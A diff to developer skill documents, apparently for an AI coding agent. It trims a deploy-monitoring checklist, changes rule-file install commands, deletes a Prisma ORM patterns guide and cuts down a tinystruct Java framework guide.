7. Static Assets — are JS, CSS, image, and font requests returning 2xx/3xx with expected content types?
|
||||
8. SSE Streams — do event-stream endpoints connect and receive an initial event or heartbeat?
|
||||
```
|
||||
|
||||
### Watch Modes
|
||||
@@ -56,16 +54,12 @@ critical: # immediate alert
|
||||
- Console error count > 5 (new errors only)
|
||||
- LCP > 4s
|
||||
- API endpoint returns 5xx
|
||||
- Static asset returns 4xx/5xx
|
||||
- SSE endpoint cannot connect or drops before first heartbeat
|
||||
|
||||
warning: # flag in report
|
||||
- LCP increased > 500ms from baseline
|
||||
- CLS > 0.1
|
||||
- New console warnings
|
||||
- Response time > 2x baseline
|
||||
- Static asset content type changed unexpectedly
|
||||
- SSE heartbeat latency > 2x baseline
|
||||
|
||||
info: # log only
|
||||
- Minor performance variance
|
||||
@@ -93,8 +87,6 @@ When a critical threshold is crossed:
|
||||
| LCP | 1.8s ✓ | 1.6s | +200ms |
|
||||
| CLS | 0.01 ✓ | 0.01 | — |
|
||||
| API /health | 145ms ✓ | 120ms | +25ms |
|
||||
| Static assets | 42/42 ✓ | 42/42 | — |
|
||||
| SSE /events | connected ✓ | connected | +80ms heartbeat |
|
||||
|
||||
### No regressions detected. Deploy is clean.
|
||||
```
|
||||
|
||||
@@ -234,13 +234,13 @@ Options:
|
||||
|
||||
Execute installation:
|
||||
```bash
|
||||
# Common rules
|
||||
cp -r $ECC_ROOT/rules/common $TARGET/rules/common
|
||||
# Common rules (flat copy into rules/)
|
||||
cp -r $ECC_ROOT/rules/common/* $TARGET/rules/
|
||||
|
||||
# Language-specific rules (preserve per-language directories)
|
||||
cp -r $ECC_ROOT/rules/typescript $TARGET/rules/typescript # if selected
|
||||
cp -r $ECC_ROOT/rules/python $TARGET/rules/python # if selected
|
||||
cp -r $ECC_ROOT/rules/golang $TARGET/rules/golang # if selected
|
||||
# Language-specific rules (flat copy into rules/)
|
||||
cp -r $ECC_ROOT/rules/typescript/* $TARGET/rules/ # if selected
|
||||
cp -r $ECC_ROOT/rules/python/* $TARGET/rules/ # if selected
|
||||
cp -r $ECC_ROOT/rules/golang/* $TARGET/rules/ # if selected
|
||||
```
|
||||
|
||||
**Important**: If the user selects any language-specific rules but NOT common rules, warn them:
|
||||
|
||||
@@ -1,371 +0,0 @@
|
||||
---
|
||||
name: prisma-patterns
|
||||
description: Prisma ORM patterns for TypeScript backends — schema design, query optimization, transactions, pagination, and critical traps like updateMany returning count not records, $transaction timeouts, migrate dev resetting the DB, @updatedAt skipped on bulk writes, and serverless connection exhaustion.
|
||||
origin: ECC
|
||||
---
|
||||
|
||||
# Prisma Patterns
|
||||
|
||||
Production patterns and non-obvious traps for Prisma ORM in TypeScript backends.
|
||||
Tested against Prisma 5.x and 6.x. Some behaviors differ from Prisma 4.
|
||||
|
||||
Check the Prisma version before applying version-specific patterns:
|
||||
|
||||
```bash
|
||||
npx prisma --version
|
||||
```
|
||||
|
||||
Prisma 5 introduced `relationJoins`, which can load relations via JOIN rather than separate queries depending on query strategy and configuration. The `omit` field modifier and `prisma.$extends` Client Extensions API were also added. Note: `relationJoins` can cause row explosion on large 1:N relations or deep nested `include` — benchmark both approaches when relations may return many rows per parent.
|
||||
|
||||
## When to Activate
|
||||
|
||||
- Designing or modifying Prisma schema models and relations
|
||||
- Writing queries, transactions, or pagination logic
|
||||
- Using `updateMany`, `deleteMany`, or any bulk operation
|
||||
- Running or planning database migrations
|
||||
- Deploying to serverless environments (Vercel, Lambda, Cloudflare Workers)
|
||||
- Implementing soft delete or multi-tenant row filtering
|
||||
|
||||
## Core Concepts
|
||||
|
||||
### ID Strategy
|
||||
|
||||
| Strategy | Use When | Avoid When |
|
||||
|---|---|---|
|
||||
| `@default(cuid())` | Default choice — URL-safe, sortable, no collisions | Sequential IDs needed for external systems |
|
||||
| `@default(uuid())` | Interoperability with non-Prisma systems required | High-write tables (random UUIDs fragment B-tree indexes) |
|
||||
| `@default(autoincrement())` | Internal join tables, audit logs | Public-facing IDs (exposes record count) |
|
||||
|
||||
### Schema Defaults
|
||||
|
||||
```prisma
|
||||
model User {
|
||||
id String @id @default(cuid())
|
||||
email String @unique // @unique already creates an index — no @@index needed
|
||||
name String
|
||||
role Role @default(USER)
|
||||
posts Post[]
|
||||
createdAt DateTime @default(now())
|
||||
updatedAt DateTime @updatedAt
|
||||
deletedAt DateTime?
|
||||
|
||||
@@index([createdAt])
|
||||
@@index([deletedAt, createdAt]) // composite for soft-delete + sort queries
|
||||
}
|
||||
```
|
||||
|
||||
- Add `@@index` on every foreign key and column used in `WHERE` or `ORDER BY`.
|
||||
- Declare `deletedAt DateTime?` upfront when soft delete is a foreseeable requirement — adding it later requires a migration on a live table.
|
||||
- `updatedAt @updatedAt` is set automatically by Prisma on `update` and `upsert` only (see Anti-Patterns for bulk update trap).
|
||||
|
||||
### `include` vs `select`
|
||||
|
||||
| | `include` | `select` |
|
||||
|---|---|---|
|
||||
| Returns | All scalar fields + specified relations | Only specified fields |
|
||||
| Use when | You need most fields plus a relation | Hot paths, large tables, avoiding over-fetch |
|
||||
| Performance | May over-fetch on wide tables | Minimal payload, faster on large datasets |
|
||||
| Prisma 5 note | Uses JOIN by default (`relationJoins`) | Same |
|
||||
|
||||
```ts
|
||||
// include — all columns + relation
|
||||
const user = await prisma.user.findUnique({
|
||||
where: { id },
|
||||
include: { posts: { select: { id: true, title: true } } },
|
||||
});
|
||||
|
||||
// select — explicit allowlist
|
||||
const user = await prisma.user.findUnique({
|
||||
where: { id },
|
||||
select: { id: true, email: true, name: true },
|
||||
});
|
||||
```
|
||||
|
||||
Never return raw Prisma entities from API responses — map to response DTOs to control exposed fields:
|
||||
|
||||
```ts
|
||||
// BAD: leaks passwordHash, deletedAt, internal fields
|
||||
return await prisma.user.findUniqueOrThrow({ where: { id } });
|
||||
|
||||
// GOOD: explicit DTO mapping
|
||||
const user = await prisma.user.findUniqueOrThrow({ where: { id } });
|
||||
return { id: user.id, name: user.name, email: user.email };
|
||||
```
|
||||
|
||||
### Transaction Form Selection
|
||||
|
||||
| Situation | Use |
|
||||
|---|---|
|
||||
| Independent operations, no inter-dependency | Array form |
|
||||
| Later step depends on earlier result | Interactive form |
|
||||
| External calls (email, HTTP) involved | Outside transaction entirely |
|
||||
|
||||
```ts
|
||||
// Array form — batched in one round trip
|
||||
const [user, post] = await prisma.$transaction([
|
||||
prisma.user.update({ where: { id }, data: { name } }),
|
||||
prisma.post.create({ data: { title, authorId: id } }),
|
||||
]);
|
||||
|
||||
// Interactive form — use tx client only, never the outer prisma client
|
||||
const post = await prisma.$transaction(async (tx) => {
|
||||
const user = await tx.user.findUniqueOrThrow({ where: { id } });
|
||||
if (user.role !== 'ADMIN') throw new Error('Forbidden');
|
||||
return tx.post.create({ data: { title, authorId: user.id } });
|
||||
});
|
||||
```
|
||||
|
||||
### PrismaClient Singleton
|
||||
|
||||
Each `PrismaClient` instance opens its own connection pool. Instantiate once.
|
||||
|
||||
```ts
|
||||
// lib/prisma.ts
|
||||
import { PrismaClient } from '@prisma/client';
|
||||
|
||||
const globalForPrisma = globalThis as unknown as { prisma?: PrismaClient };
|
||||
|
||||
export const prisma =
|
||||
globalForPrisma.prisma ??
|
||||
new PrismaClient({
|
||||
log: process.env.NODE_ENV === 'development' ? ['query', 'error'] : ['error'],
|
||||
});
|
||||
|
||||
if (process.env.NODE_ENV !== 'production') globalForPrisma.prisma = prisma;
|
||||
```
|
||||
|
||||
The `globalThis` pattern prevents duplicate instances during hot reload (Next.js, nodemon, ts-node-dev).
|
||||
|
||||
### N+1 Problem
|
||||
|
||||
Loading relations inside a loop issues one query per row.
|
||||
|
||||
```ts
|
||||
// BAD: N+1 — one extra query per user
|
||||
const users = await prisma.user.findMany();
|
||||
for (const user of users) {
|
||||
const posts = await prisma.post.findMany({ where: { authorId: user.id } });
|
||||
}
|
||||
|
||||
// GOOD: single query
|
||||
const users = await prisma.user.findMany({ include: { posts: true } });
|
||||
```
|
||||
|
||||
With Prisma 5+ `relationJoins`, the `include` form uses a single JOIN. On large 1:N sets this may increase result set size — benchmark both approaches if the relation can return many rows per parent.
|
||||
|
||||
## Code Examples
|
||||
|
||||
### Cursor Pagination (preferred for feeds and large datasets)
|
||||
|
||||
```ts
|
||||
async function getPosts(cursor?: string, limit = 20) {
|
||||
const items = await prisma.post.findMany({
|
||||
where: { published: true },
|
||||
orderBy: [
|
||||
{ createdAt: 'desc' },
|
||||
{ id: 'desc' }, // secondary sort prevents unstable pagination on duplicate timestamps
|
||||
],
|
||||
take: limit + 1,
|
||||
...(cursor && { cursor: { id: cursor }, skip: 1 }),
|
||||
});
|
||||
|
||||
const hasNextPage = items.length > limit;
|
||||
if (hasNextPage) items.pop();
|
||||
|
||||
return { items, nextCursor: hasNextPage ? items[items.length - 1].id : null };
|
||||
}
|
||||
```
|
||||
|
||||
Fetch `limit + 1` and pop — canonical way to detect `hasNextPage` without an extra count query. Always include a unique field (e.g. `id`) as a secondary `orderBy` to prevent unstable pagination when multiple rows share the same timestamp. Use offset pagination only when users need to jump to arbitrary pages (admin tables).
|
||||
|
||||
### Soft Delete
|
||||
|
||||
```ts
|
||||
// Always filter explicitly — do not rely on middleware (hides behavior, hard to debug)
|
||||
const activeUsers = await prisma.user.findMany({ where: { deletedAt: null } });
|
||||
|
||||
await prisma.user.update({ where: { id }, data: { deletedAt: new Date() } });
|
||||
await prisma.user.update({ where: { id }, data: { deletedAt: null } }); // restore
|
||||
```
|
||||
|
||||
### Error Handling
|
||||
|
||||
```ts
|
||||
import { Prisma } from '@prisma/client';
|
||||
|
||||
try {
|
||||
await prisma.user.create({ data: { email } });
|
||||
} catch (e) {
|
||||
if (e instanceof Prisma.PrismaClientKnownRequestError) {
|
||||
if (e.code === 'P2002') throw new ConflictError('Email already exists');
|
||||
if (e.code === 'P2025') throw new NotFoundError('Record not found');
|
||||
if (e.code === 'P2003') throw new BadRequestError('Referenced record does not exist');
|
||||
}
|
||||
throw e;
|
||||
}
|
||||
```
|
||||
|
||||
Common codes: `P2002` unique violation · `P2025` not found · `P2003` foreign key violation.
|
||||
|
||||
Catch at the service boundary and translate to domain errors. Never expose raw Prisma messages to API consumers.
|
||||
|
||||
### Connection Pool — Serverless
|
||||
|
||||
Embed connection params directly in `DATABASE_URL` — string concatenation breaks if the URL already has query parameters (e.g. `?schema=public`):
|
||||
|
||||
```bash
|
||||
# .env — preferred: embed params in the URL
|
||||
DATABASE_URL="postgresql://user:pass@host/db?connection_limit=1&pool_timeout=20"
|
||||
|
||||
# With an external pooler (PgBouncer, Supabase pooler)
|
||||
DATABASE_URL="postgresql://user:pass@host/db?pgbouncer=true&connection_limit=1"
|
||||
```
|
||||
|
||||
```ts
|
||||
// Vercel, AWS Lambda, and similar serverless runtimes: cap pool to 1 per instance
|
||||
// connection_limit and pool_timeout are controlled via DATABASE_URL
|
||||
const prisma = new PrismaClient();
|
||||
```
|
||||
|
||||
## Anti-Patterns
|
||||
|
||||
### `updateMany` returns a count, not records
|
||||
|
||||
```ts
|
||||
// BAD: result is { count: 2 } — users[0] is undefined
|
||||
const users = await prisma.user.updateMany({ where: { role: 'GUEST' }, data: { role: 'USER' } });
|
||||
|
||||
// GOOD: capture IDs first, then update, then fetch only the affected rows
|
||||
const targets = await prisma.user.findMany({
|
||||
where: { role: 'GUEST' },
|
||||
select: { id: true },
|
||||
});
|
||||
const ids = targets.map((u) => u.id);
|
||||
await prisma.user.updateMany({ where: { id: { in: ids } }, data: { role: 'USER' } });
|
||||
const updated = await prisma.user.findMany({ where: { id: { in: ids } } });
|
||||
```
|
||||
|
||||
Same applies to `deleteMany` — returns `{ count: n }`, never the deleted rows.
|
||||
|
||||
### `$transaction` interactive form times out after 5 seconds
|
||||
|
||||
```ts
|
||||
// BAD: external call inside transaction exceeds 5s default → "Transaction already closed"
|
||||
await prisma.$transaction(async (tx) => {
|
||||
const user = await tx.user.findUniqueOrThrow({ where: { id } });
|
||||
await sendWelcomeEmail(user.email); // external call
|
||||
await tx.user.update({ where: { id }, data: { emailSent: true } });
|
||||
});
|
||||
|
||||
// GOOD: external calls outside the transaction
|
||||
const user = await prisma.user.findUniqueOrThrow({ where: { id } });
|
||||
await sendWelcomeEmail(user.email);
|
||||
await prisma.user.update({ where: { id }, data: { emailSent: true } });
|
||||
|
||||
// Only raise timeout when bulk processing genuinely needs it
|
||||
await prisma.$transaction(async (tx) => { ... }, { timeout: 30_000 });
|
||||
```
|
||||
|
||||
### `migrate dev` can reset the database
|
||||
|
||||
`migrate dev` detects schema drift and may prompt to reset the DB, dropping all data.
|
||||
|
||||
```bash
|
||||
# NEVER on shared dev, staging, or production
|
||||
npx prisma migrate dev --name add_column
|
||||
|
||||
# Safe everywhere except local solo dev
|
||||
npx prisma migrate deploy
|
||||
|
||||
# Check drift without applying
|
||||
npx prisma migrate diff \
|
||||
--from-migrations ./prisma/migrations \
|
||||
--to-schema-datamodel ./prisma/schema.prisma \
|
||||
--shadow-database-url "$SHADOW_DATABASE_URL"
|
||||
```
|
||||
|
||||
### Manually editing a migration file breaks future deploys
|
||||
|
||||
Prisma checksums every migration file. Editing after apply causes `P3006 checksum mismatch` on every environment where the original already ran. Create a new migration instead.
|
||||
|
||||
### Breaking schema changes require multi-step migration
|
||||
|
||||
Adding `NOT NULL` to an existing column or renaming a column in one migration will lock the table or drop data. Use expand-and-contract:
|
||||
|
||||
```bash
|
||||
# Step 1: create migration locally, then deploy
|
||||
npx prisma migrate dev --name add_new_column # local only
|
||||
npx prisma migrate deploy # staging / production
|
||||
```
|
||||
|
||||
```ts
|
||||
// Step 2: backfill data (run in a script or migration job, not in the shell)
|
||||
await prisma.user.updateMany({ data: { newColumn: derivedValue } });
|
||||
```
|
||||
|
||||
```bash
|
||||
# Step 3: create the NOT NULL constraint migration locally, then deploy
|
||||
npx prisma migrate dev --name make_new_column_required # local only
|
||||
npx prisma migrate deploy # staging / production
|
||||
```
|
||||
|
||||
### `@updatedAt` does not fire on `updateMany`
|
||||
|
||||
`@updatedAt` is set automatically only on `update` and `upsert`. Bulk writes leave it stale.
|
||||
|
||||
```ts
|
||||
// BAD: updatedAt stays at its old value
|
||||
await prisma.post.updateMany({ where: { authorId }, data: { published: true } });
|
||||
|
||||
// GOOD
|
||||
await prisma.post.updateMany({
|
||||
where: { authorId },
|
||||
data: { published: true, updatedAt: new Date() },
|
||||
});
|
||||
```
|
||||
|
||||
### Soft delete + `findUniqueOrThrow` leaks deleted records
|
||||
|
||||
`findUniqueOrThrow` throws `P2025` only when the row does not exist in the DB. Soft-deleted rows still exist and are returned without error.
|
||||
|
||||
`findUniqueOrThrow` requires a unique constraint field in `where` — adding `deletedAt: null` alongside `id` breaks the type because `{ id, deletedAt }` is not a compound unique constraint. Use `findFirstOrThrow` instead.
|
||||
|
||||
```ts
|
||||
// BAD: returns soft-deleted user
|
||||
const user = await prisma.user.findUniqueOrThrow({ where: { id } });
|
||||
|
||||
// BAD: Prisma type error — { id, deletedAt } is not a unique constraint
|
||||
const user = await prisma.user.findUniqueOrThrow({ where: { id, deletedAt: null } });
|
||||
|
||||
// GOOD: findFirstOrThrow supports arbitrary where conditions
|
||||
const user = await prisma.user.findFirstOrThrow({ where: { id, deletedAt: null } });
|
||||
```
|
||||
|
||||
### `deleteMany` without `where` deletes every row
|
||||
|
||||
```ts
|
||||
// BAD: silently wipes the table
|
||||
await prisma.post.deleteMany();
|
||||
|
||||
// GOOD
|
||||
await prisma.post.deleteMany({ where: { authorId: userId } });
|
||||
```
|
||||
|
||||
## Best Practices
|
||||
|
||||
| Rule | Reason |
|
||||
|---|---|
|
||||
| `migrate deploy` in CI/CD, `migrate dev` only locally | `migrate dev` can reset the DB on drift |
|
||||
| Map entities to response DTOs | Prevents leaking internal fields |
|
||||
| Catch `PrismaClientKnownRequestError` at service boundary | Translate to domain errors |
|
||||
| Prefer `*OrThrow` methods over manual null checks | Throws P2025 automatically; use `findFirstOrThrow` when filtering non-unique fields |
|
||||
| `connection_limit=1` + external pooler in serverless | Prevents connection exhaustion |
|
||||
| Always provide `where` on `deleteMany` | Prevents accidental table wipe |
|
||||
| Set `updatedAt: new Date()` manually in `updateMany` | `@updatedAt` skips bulk writes |
|
||||
|
||||
## Related Skills
|
||||
|
||||
- `nestjs-patterns` — NestJS service layer that integrates Prisma
|
||||
- `postgres-patterns` — PostgreSQL-level indexing and connection tuning
|
||||
- `database-migrations` — multi-step migration planning for production
|
||||
- `backend-patterns` — general API and service layer design
|
||||
@@ -1,38 +1,28 @@
|
||||
---
|
||||
name: tinystruct-patterns
|
||||
description: Expert guidance for developing with the tinystruct Java framework. Use when working on the tinystruct codebase or any project built on tinystruct — including creating Application classes, @Action-mapped routes, unit tests, ActionRegistry, HTTP/CLI dual-mode handling, the built-in HTTP server, the event system, JSON with Builder/Builders, database persistence with AbstractData, POJO generation, Server-Sent Events (SSE), file uploads, and outbound HTTP networking.
|
||||
description: Use when developing application modules or microservices with the tinystruct Java framework. Covers routing, context management, JSON handling with Builder, and CLI/HTTP dual-mode patterns.
|
||||
origin: ECC
|
||||
---
|
||||
|
||||
# tinystruct Development Patterns
|
||||
|
||||
Architecture and implementation patterns for building modules with the **tinystruct** Java framework – a lightweight, high-performance framework that treats CLI and HTTP as equal citizens, requiring no `main()` method and minimal configuration.
|
||||
Architecture and implementation patterns for building modules with the **tinystruct** Java framework – a lightweight system where CLI and HTTP are equal citizens.
|
||||
|
||||
## Core Principle
|
||||
|
||||
**CLI and HTTP are equal citizens.** Every method annotated with `@Action` should ideally be runnable from both a terminal and a web browser without modification. This "dual-mode" capability is the core design philosophy of tinystruct.
|
||||
|
||||
## When to Activate
|
||||
|
||||
### When to Use
|
||||
## When to Use
|
||||
|
||||
- Creating new `Application` modules by extending `AbstractApplication`.
|
||||
- Defining routes and command-line actions using `@Action`.
|
||||
- Handling per-request state via `Context`.
|
||||
- Performing JSON serialization using the native `Builder` and `Builders` components.
|
||||
- Working with database persistence via `AbstractData` POJOs.
|
||||
- Generating POJOs from database tables using the `generate` command.
|
||||
- Implementing Server-Sent Events (SSE) for real-time push.
|
||||
- Handling file uploads via multipart data.
|
||||
- Making outbound HTTP requests with `URLRequest` and `HTTPHandler`.
|
||||
- Performing JSON serialization using the native `Builder` component.
|
||||
- Configuring database connections or system settings in `application.properties`.
|
||||
- Generating or re-generating the standard `bin/dispatcher` entry point via `ApplicationManager.init()`.
|
||||
- Debugging routing conflicts (Actions) or CLI argument parsing.
|
||||
|
||||
## How It Works
|
||||
|
||||
The tinystruct framework treats any method annotated with `@Action` as a routable endpoint for both terminal and web environments. Applications are created by extending `AbstractApplication`, which provides core lifecycle hooks like `init()` and access to the request `Context`.
|
||||
|
||||
Routing is handled by the `ActionRegistry`, which automatically maps path segments to method arguments and injects dependencies. For data-only services, the native `Builder` and `Builders` components should be used for JSON serialization to maintain a zero-dependency footprint. The database layer uses `AbstractData` POJOs paired with XML mapping files for CRUD operations without external ORM libraries.
|
||||
Routing is handled by the `ActionRegistry`, which automatically maps path segments to method arguments and injects dependencies. For data-only services, the native `Builder` component should be used for JSON serialization to maintain a zero-dependency footprint. The framework also includes a utility in `ApplicationManager` to bootstrap the project's execution environment by generating the `bin/dispatcher` script.
|
||||
|
||||
## Examples
|
||||
|
||||
@@ -50,77 +40,38 @@ public class MyService extends AbstractApplication {
|
||||
public String greet() {
|
||||
return "Hello from tinystruct!";
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
// Path parameter: GET /?q=greet/James OR bin/dispatcher greet/James
|
||||
@Action("greet")
|
||||
public String greet(String name) {
|
||||
return "Hello, " + name + "!";
|
||||
}
|
||||
### Parameterized Routing (getUser)
|
||||
```java
|
||||
// Handles /api/user/123 (Web) or "bin/dispatcher api/user/123" (CLI)
|
||||
@Action("api/user/(\\d+)")
|
||||
public String getUser(int userId) {
|
||||
return "User ID: " + userId;
|
||||
}
|
||||
```
|
||||
|
||||
### HTTP Mode Disambiguation (login)
|
||||
```java
|
||||
@Action(value = "login", mode = Mode.HTTP_POST)
|
||||
public String doLogin(Request<?, ?> request) throws ApplicationException {
|
||||
request.getSession().setAttribute("userId", "42");
|
||||
return "Logged in";
|
||||
public boolean doLogin() {
|
||||
// Process login logic
|
||||
return true;
|
||||
}
|
||||
```
|
||||
|
||||
### Native JSON Data Handling (Builder + Builders)
|
||||
### Native JSON Data Handling (getData)
|
||||
```java
|
||||
import org.tinystruct.data.component.Builder;
|
||||
import org.tinystruct.data.component.Builders;
|
||||
|
||||
@Action("api/data")
|
||||
public String getData() throws ApplicationException {
|
||||
Builders dataList = new Builders();
|
||||
Builder item = new Builder();
|
||||
item.put("id", 1);
|
||||
item.put("name", "James");
|
||||
dataList.add(item);
|
||||
|
||||
Builder response = new Builder();
|
||||
response.put("status", "success");
|
||||
response.put("data", dataList);
|
||||
return response.toString(); // {"status":"success","data":[{"id":1,"name":"James"}]}
|
||||
}
|
||||
```
|
||||
|
||||
### SSE (Server-Sent Events)
|
||||
```java
|
||||
import org.tinystruct.http.SSEPushManager;
|
||||
|
||||
@Action("sse/connect")
|
||||
public String connect() {
|
||||
return "{\"type\":\"connect\",\"message\":\"Connected to SSE\"}";
|
||||
}
|
||||
|
||||
// Push to a specific client
|
||||
String sessionId = getContext().getId();
|
||||
Builder msg = new Builder();
|
||||
msg.put("text", "Hello, user!");
|
||||
SSEPushManager.getInstance().push(sessionId, msg);
|
||||
|
||||
// Broadcast to all
|
||||
// Broadcast to all
|
||||
SSEPushManager.getInstance().broadcast(msg);
|
||||
```
|
||||
|
||||
### File Upload
|
||||
```java
|
||||
import org.tinystruct.data.FileEntity;
|
||||
|
||||
@Action(value = "upload", mode = Mode.HTTP_POST)
|
||||
public String upload(Request<?, ?> request) throws ApplicationException {
|
||||
List<FileEntity> files = request.getAttachments();
|
||||
if (files != null) {
|
||||
for (FileEntity file : files) {
|
||||
System.out.println("Uploaded: " + file.getFilename());
|
||||
}
|
||||
}
|
||||
return "Upload OK";
|
||||
public Builder getData() throws ApplicationException {
|
||||
Builder builder = new Builder();
|
||||
builder.put("status", "success");
|
||||
Builder nested = new Builder();
|
||||
nested.put("id", 1);
|
||||
nested.put("name", "James");
|
||||
builder.put("data", nested);
|
||||
return builder;
|
||||
}
|
||||
```
|
||||
|
||||
@@ -132,48 +83,35 @@ Settings are managed in `src/main/resources/application.properties`.
|
||||
# Database
|
||||
driver=org.h2.Driver
|
||||
database.url=jdbc:h2:~/mydb
|
||||
database.user=sa
|
||||
database.password=
|
||||
|
||||
# Server
|
||||
default.home.page=hello
|
||||
server.port=8080
|
||||
|
||||
# Locale
|
||||
default.language=en_US
|
||||
|
||||
# Session (Redis for clustered environments)
|
||||
# default.session.repository=org.tinystruct.http.RedisSessionRepository
|
||||
# redis.host=127.0.0.1
|
||||
# redis.port=6379
|
||||
# App specific
|
||||
my.service.endpoint=https://api.example.com
|
||||
```
|
||||
|
||||
Access config values in your application:
|
||||
## Testing Patterns
|
||||
|
||||
Use JUnit 5 to test actions by verifying they are registered in the `ActionRegistry`.
|
||||
|
||||
```java
|
||||
String port = this.getConfiguration("server.port");
|
||||
@Test
|
||||
void testActionRegistration() {
|
||||
Application app = new MyService();
|
||||
app.init();
|
||||
|
||||
ActionRegistry registry = ActionRegistry.getInstance();
|
||||
assertNotNull(registry.get("greet"));
|
||||
}
|
||||
```
|
||||
|
||||
## Red Flags & Anti-patterns
|
||||
|
||||
| Symptom | Correct Pattern |
|
||||
|---|---|
|
||||
| Importing `com.google.gson` or `com.fasterxml.jackson` | Use `org.tinystruct.data.component.Builder` / `Builders`. |
|
||||
| Using `List<Builder>` for JSON arrays | Use `Builders` to avoid generic type erasure issues. |
|
||||
| `ApplicationRuntimeException: template not found` | Call `setTemplateRequired(false)` in `init()` for API-only apps. |
|
||||
| Importing `com.google.gson` or `com.fasterxml.jackson` | Use `org.tinystruct.data.component.Builder`. |
|
||||
| `FileNotFoundException` for `.view` files | Call `setTemplateRequired(false)` in `init()` for API-only apps. |
|
||||
| Annotating `private` methods with `@Action` | Actions must be `public` to be registered by the framework. |
|
||||
| Hardcoding `main(String[] args)` in apps | Use `bin/dispatcher` as the entry point for all modules. |
|
||||
| Manual `ActionRegistry` registration | Prefer the `@Action` annotation for automatic discovery. |
|
||||
| Action not found at runtime | Ensure class is imported via `--import` or listed in `application.properties`. |
|
||||
| CLI arg not visible | Pass with `--key value`; access via `getContext().getAttribute("--key")`. |
|
||||
| Two methods same path, wrong one fires | Set explicit `mode` (e.g., `HTTP_GET` vs `HTTP_POST`) to disambiguate. |
|
||||
|
||||
## Best Practices
|
||||
|
||||
1. **Granular Applications**: Break logic into smaller, focused applications rather than one monolithic class.
|
||||
2. **Setup in `init()`**: Leverage `init()` for setup (config, DB) rather than the constructor. Do NOT call `setAction()` — use `@Action` annotation.
|
||||
3. **Mode Awareness**: Use the `Mode` parameter in `@Action` to restrict sensitive operations to `CLI` only or specific HTTP methods.
|
||||
4. **Context over Params**: For optional CLI flags, use `getContext().getAttribute("--flag")` rather than adding parameters to the method signature.
|
||||
5. **Asynchronous Events**: For heavy tasks triggered by events, use `CompletableFuture.runAsync()` inside the event handler.
|
||||
|
||||
## Technical Reference
|
||||
|
||||
@@ -181,23 +119,13 @@ Detailed guides are available in the `references/` directory:
|
||||
|
||||
- [Architecture & Config](references/architecture.md) — Abstractions, Package Map, Properties
|
||||
- [Routing & @Action](references/routing.md) — Annotation details, Modes, Parameters
|
||||
- [Data Handling](references/data-handling.md) — Builder, Builders, JSON serialization & parsing
|
||||
- [Database Persistence](references/database.md) — AbstractData POJOs, CRUD, mapping XML, POJO generation
|
||||
- [System & Usage](references/system-usage.md) — Context, Sessions, SSE, File Uploads, Events, Networking
|
||||
- [Testing Patterns](references/testing.md) — JUnit 5 unit and HTTP integration testing
|
||||
- [Data Handling](references/data-handling.md) — Using the native `Builder` for JSON
|
||||
- [System & Usage](references/system-usage.md) — Context, Sessions, Events, CLI usage
|
||||
- [Testing Patterns](references/testing.md) — JUnit 5 integration and ActionRegistry testing
|
||||
|
||||
## Reference Source Files (Internal)
|
||||
|
||||
- `src/main/java/org/tinystruct/AbstractApplication.java` — Core base class with lifecycle hooks
|
||||
- `src/main/java/org/tinystruct/AbstractApplication.java` — Core base class
|
||||
- `src/main/java/org/tinystruct/system/annotation/Action.java` — Annotation & Modes
|
||||
- `src/main/java/org/tinystruct/application/ActionRegistry.java` — Routing Engine
|
||||
- `src/main/java/org/tinystruct/data/component/Builder.java` — JSON object serializer
|
||||
- `src/main/java/org/tinystruct/data/component/Builders.java` — JSON array serializer
|
||||
- `src/main/java/org/tinystruct/data/component/AbstractData.java` — Base POJO class with CRUD
|
||||
- `src/main/java/org/tinystruct/data/Mapping.java` — Mapping XML parser
|
||||
- `src/main/java/org/tinystruct/data/tools/MySQLGenerator.java` — POJO generator reference
|
||||
- `src/main/java/org/tinystruct/data/component/FieldType.java` — SQL-to-Java type mappings
|
||||
- `src/main/java/org/tinystruct/data/component/Condition.java` — Fluent SQL query builder
|
||||
- `src/main/java/org/tinystruct/http/SSEPushManager.java` — SSE connection management
|
||||
- `src/test/java/org/tinystruct/application/ActionRegistryTest.java` — Registry test examples
|
||||
- `src/test/java/org/tinystruct/system/HttpServerHttpModeTest.java` — HTTP integration test patterns
|
||||
- `src/main/java/org/tinystruct/data/component/Builder.java` — JSON/Data Serializer
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
|
||||
## When to Use
|
||||
|
||||
Choose **tinystruct** when you need a lightweight, high-performance Java framework that treats CLI and HTTP as equal citizens. Ideal for microservices, CLI utilities, and data-driven applications with a small footprint and zero-dependency JSON handling.
|
||||
Choose **tinystruct** when you need a lightweight, high-performance Java framework that treats CLI and HTTP as equal citizens. It is ideal for building microservices, command-line utilities, and data-driven applications where a small footprint and zero-dependency JSON handling are required. Use it when you want to write logic once and expose it via both a terminal and a web server without modification.
|
||||
|
||||
## How It Works
|
||||
|
||||
@@ -20,7 +20,7 @@ The framework operates on a singleton `ActionRegistry` that maps URL patterns (o
|
||||
| `Action` | Wraps a `MethodHandle` + regex pattern + priority + `Mode` for dispatch. |
|
||||
| `Context` | Per-request state store. Access via `getContext()`. Holds CLI args and HTTP request/response. |
|
||||
| `Dispatcher` | CLI entry point (`bin/dispatcher`). Reads `--import` to load applications. |
|
||||
| `HttpServer` | Built-in HTTP server. Start with `bin/dispatcher start --import org.tinystruct.system.HttpServer`. |
|
||||
| `HttpServer` | Built-in Netty-based HTTP server. Start with `bin/dispatcher start --import org.tinystruct.system.HttpServer`. |
|
||||
|
||||
### Package Map
|
||||
|
||||
@@ -40,23 +40,13 @@ org.tinystruct/
|
||||
│ ├── HttpServer.java ← built-in HTTP server
|
||||
│ ├── EventDispatcher.java ← event bus
|
||||
│ └── Settings.java ← reads application.properties
|
||||
├── data/
|
||||
│ ├── component/Builder.java ← JSON object (use instead of Gson/Jackson)
|
||||
│ ├── component/Builders.java ← JSON array
|
||||
│ ├── component/AbstractData.java ← base POJO for DB persistence
|
||||
│ ├── component/Condition.java ← fluent SQL query builder
|
||||
│ ├── component/FieldType.java ← SQL-to-Java type mappings
|
||||
│ ├── Mapping.java ← reads .map.xml metadata
|
||||
│ ├── DatabaseOperator.java ← low-level JDBC wrapper
|
||||
│ └── FileEntity.java ← file upload representation
|
||||
├── http/ ← Request, Response, Constants
|
||||
│ └── SSEPushManager.java ← Server-Sent Events management
|
||||
└── net/ ← URLRequest, HTTPHandler (outbound HTTP)
|
||||
├── data/component/Builder.java ← JSON serialization (use instead of Gson/Jackson)
|
||||
└── http/ ← Request, Response, Constants
|
||||
```
|
||||
|
||||
### Template Behavior and Dispatch Flow
|
||||
|
||||
